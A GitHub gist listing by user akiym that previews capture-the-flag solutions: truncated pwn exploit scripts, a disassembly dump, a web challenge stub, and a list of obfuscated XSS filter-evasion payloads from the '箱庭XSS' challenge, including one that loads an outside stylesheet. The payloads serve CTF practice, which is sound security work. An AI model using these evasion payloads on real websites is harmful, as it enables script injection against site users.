Skip to content

Instantly share code, notes, and snippets.

@akiym
akiym / exploit.py
Last active September 6, 2016 16:03
Candy Store - Tokyo Westerns / MMA CTF 2nd 2016
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack('<I', x)
u = lambda x: struct.unpack('<I', x)[0]
@akiym
akiym / pwn1.py
Created February 29, 2016 12:40
SSCTF 2016 Quals - Pwn-1, Pwn-2
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack('<I', x)
u = lambda x: struct.unpack('<I', x)[0]
@akiym
akiym / exploit2.py
Created July 6, 2015 08:25
魔改造ropasaurusrex writeup #katagaitaiCTF
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack("<I", x)
u = lambda x: struct.unpack("<I", x)[0]
@akiym
akiym / explicit.py
Last active August 29, 2015 14:06
No cON Name CTF Quals 2014 - eXPLicit
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
from pwn import *
from libformatstr import *
REMOTE = 0
@akiym
akiym / online-ctf.md
Created September 11, 2014 15:55
オンラインCTFまとめ
dump.bin: file format binary
Disassembly of section .data:
00000000 <.data>:
_start:
0: 40 1e 00 00 movhi 0, r0, sp
4: 23 1e 80 17 movea 6016, sp, sp
@akiym
akiym / amida.py
Last active August 29, 2015 14:04
あみだくじ (akiym, xrekkusu)
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
from pwn import *
s = process('amida')
# thanks~~ http://arc006.contest.atcoder.jp/submissions/140243
@akiym
akiym / gist:9c9f903d824fddcaf2c8
Last active December 8, 2015 01:06
箱庭XSSリターンズ (akiym, xrekkusu, lmt_swallow)
"onPaste="eval(';)\'SSX\'(trela'.split('').reverse().join(''))"
"><link rel="stylesheet" href="http://8ant.org/asdfqwer.css"><"
"onfocusin="top['\x61\x6C\x65\x72\x74']('\x58\x53\x53')"
"onfocusout="parent[String.fromCharCode(500-403,500-392,500-399,500-386,500-384)](String.fromCharCode(300-212,300-217,300-217))"
"onfocus="window['\141\154\145\162\164']('\130\123\123')"
"onKeyDown="&#00112;arent['aleraaaaat'.replace('aaaaa','')]('XaaaaaSaaaaaS'.replace('aaaaa','').replace('aaaaa',''))"
"onDblClick="&#119;indow['aleraaaat'.re&#0112;lace('aaaa','')]('XaaaaSaaaaS'.re&#0112;lace('aaaa','').re&#0112;lace('aaaa',''))"
"onMouseUp="wi&#110dow[Str&#105;ng.fromC&#104;arCode(501-404,501-393,501-400,501-387,501-385)]&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000039;&#0000041;"
"onMouseEnter="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;"
"onMouseDown="&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00
# CODEGATE 2014 web500 writeup (泣いている)
use 5.016;
use warnings;
use utf8;
use LWP::UserAgent;
# 150ワードあたりの文字出現数
# a: 303
# b: 115
# c: 153
@akiym
akiym / upload.pl
Last active December 23, 2015 23:29
Gyazo uploader
use strict;
use warnings;
use LWP::UserAgent;
my $filename = shift or die "Usage: $0 filename\n";
my $base_url = 'http://gyazo.com/';
my $ua = LWP::UserAgent->new;
my $res = $ua->post("$base_url/upload",